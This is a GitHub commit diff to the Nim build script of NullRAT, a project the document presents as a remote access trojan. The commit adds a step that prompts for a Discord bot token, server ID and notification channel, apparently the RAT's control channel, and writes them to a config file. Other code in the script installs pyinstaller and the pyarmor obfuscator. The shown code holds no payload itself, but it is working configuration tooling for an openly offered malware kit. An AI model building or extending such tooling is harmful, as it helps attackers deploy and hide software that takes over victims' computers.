Skip to content
This repository was archived by the owner on Mar 6, 2026. It is now read-only.

Commit 80a280c

Browse files
committed
Add variables generation to new compiler
1 parent 0300d8f commit 80a280c

1 file changed

Lines changed: 81 additions & 8 deletions

File tree

compiler.nim

Lines changed: 81 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@ import std/terminal
22
import std/os
33
import std/browsers
44
import std/osproc
5-
import std/[strutils, strtabs]
5+
import std/[strutils, strformat]
66

77
proc cls() =
88
discard execShellCmd("cls")
@@ -14,7 +14,7 @@ discard execShellCmd("mode con: cols=80 lines=29");
1414
proc cleanWorkingDir() =
1515
echo ""
1616
var dirrr = getAppDir();
17-
setCurrentDir(getAppDir());
17+
setCurrentDir(dirrr);
1818
echo getCurrentDir();
1919
if dirExists(absolutePath("NullRAT")):
2020
createDir("NullRAT2")
@@ -68,9 +68,81 @@ proc printName() =
6868
stdout.styledWriteLine(fgRed, " =========================================================")
6969
echo ""
7070

71+
proc compiler() =
72+
cls()
73+
printName()
74+
discard getch()
75+
7176
proc variablesCreator() =
72-
echo "vars"
77+
cls()
78+
printName()
79+
var dirr = getAppDir()
80+
setCurrentDir(dirr / "NullRAT")
81+
echo ""
82+
83+
stdout.styledWriteLine({styleBright}, " >> Variables Creator <<")
84+
if fileExists("Variables.py"):
85+
echo "\n- Existing Variables file discovered!"
86+
echo "\nStored information\n------------------"
87+
let EnF = readFile("Variables.py")
88+
echo EnF
89+
stdout.styledWriteLine({styleBright}, "Is this information correct? (Y/n)")
90+
var input: char = getch()
91+
if input == 'N' or input == 'n':
92+
echo "- Information marked incorrect! Continuing..."
93+
sleep(1000)
94+
cls()
95+
printName()
96+
else:
97+
echo "- Information marked correct. Preserving..."
98+
sleep(1000)
99+
compiler()
100+
101+
echo "-----------\nTo know how to obtain the variables,\nCheck 'Getting Variables.md' in NullRAT Github\n-----------"
102+
stdout.styledWriteLine({styleBright}, "\n[1] Please enter the Discord bot token: ")
103+
var token = readLine(stdin);
104+
stdout.styledWriteLine({styleBright}, "[2] Please enter the Server ID: ")
105+
var serverID = readLine(stdin)
106+
stdout.styledWriteLine({styleBright}, "[3] Please enter the Notification channel ID: ")
107+
var notificationID = readLine(stdin)
73108

109+
let lines = [
110+
"# This file was auto-generated by NullRAT Builder. DO NOT EDIT!",
111+
fmt"bot_token = ""{token}""",
112+
"notification_channel = " & notificationID,
113+
"server_ids = [" & serverID & "]"
114+
]
115+
116+
cls()
117+
printName()
118+
stdout.styledWriteLine({styleBright}, " >> Variables Creator <<")
119+
echo ""
120+
echo "Obtained information:"
121+
echo "---------------------"
122+
for line in lines:
123+
if "#" in line: continue
124+
echo line
125+
echo ""
126+
stdout.styledWriteLine({styleBright}, "Is this information correct? (Y/n)")
127+
var input: char = getch()
128+
if input == 'N' or input == 'n':
129+
echo "- Aborted! Returning to main menu..."
130+
sleep(2000)
131+
else:
132+
echo "- Information marked correct. Writing..."
133+
removeFile("Variables.py")
134+
let f = open("Variables.py", fmWrite)
135+
defer: f.close()
136+
137+
for line in lines:
138+
f.writeLine(line)
139+
140+
stdout.styledWriteLine({styleBright}, "- Written information to disk!")
141+
echo ""
142+
stdout.styledWriteLine({styleBright}, "Moving on to compiler...")
143+
sleep(3000)
144+
compiler()
145+
74146
proc packageInstaller() =
75147
cls()
76148
printName()
@@ -80,7 +152,8 @@ proc packageInstaller() =
80152
var status: int = execShellCmd("python --version")
81153
var status2: int = execShellCmd("py --version")
82154
if status == 0 or status2 == 0:
83-
echo "Python installed!"
155+
echo "- Python installed!"
156+
echo ""
84157
stdout.styledWriteLine({styleBright}, "[2] Checking if packages already installed...")
85158
var result = execCmdEx("pip freeze")
86159
var allInstalled: bool = true
@@ -92,20 +165,20 @@ proc packageInstaller() =
92165
allInstalled = false
93166

94167
if allInstalled:
95-
echo "All packages installed and detected! Proceeding on with variables creation..."
168+
echo "- All packages installed and detected!\n\nProceeding on with variables creation..."
96169
sleep(3000)
97170
variablesCreator()
98171
else:
99-
stdout.styledWriteLine({styleBright}, "[3] Installing dependencies...")
172+
stdout.styledWriteLine({styleBright}, "[3] Installing/Updating dependencies...")
100173
var res = execShellCmd("pip install pyinstaller==4.10 virtualenv aiohttp disnake requests mss pyarmor")
101174
if res == 0:
102175
echo "========================"
103-
stdout.styledWriteLine({styleBright}, "All Installed! Moving to variables creation...")
176+
stdout.styledWriteLine({styleBright}, "All Installed!\nMoving to variables creation...")
104177
sleep(2000)
105178
variablesCreator()
106179

107180
else:
108-
stdout.styledWriteLine({styleBright}, "Python not installed!\nWould you like to download the recommended python installer? (Y/n): ")
181+
stdout.styledWriteLine({styleBright}, "-nPython not installed!\n\nWould you like to download the recommended python installer? (Y/n): ")
109182
var input: char = getch();
110183
if input == 'N' or input == 'n':
111184
echo "NullRAT Builder cannot continue otherwise!!! Exiting..."

0 commit comments

Comments
 (0)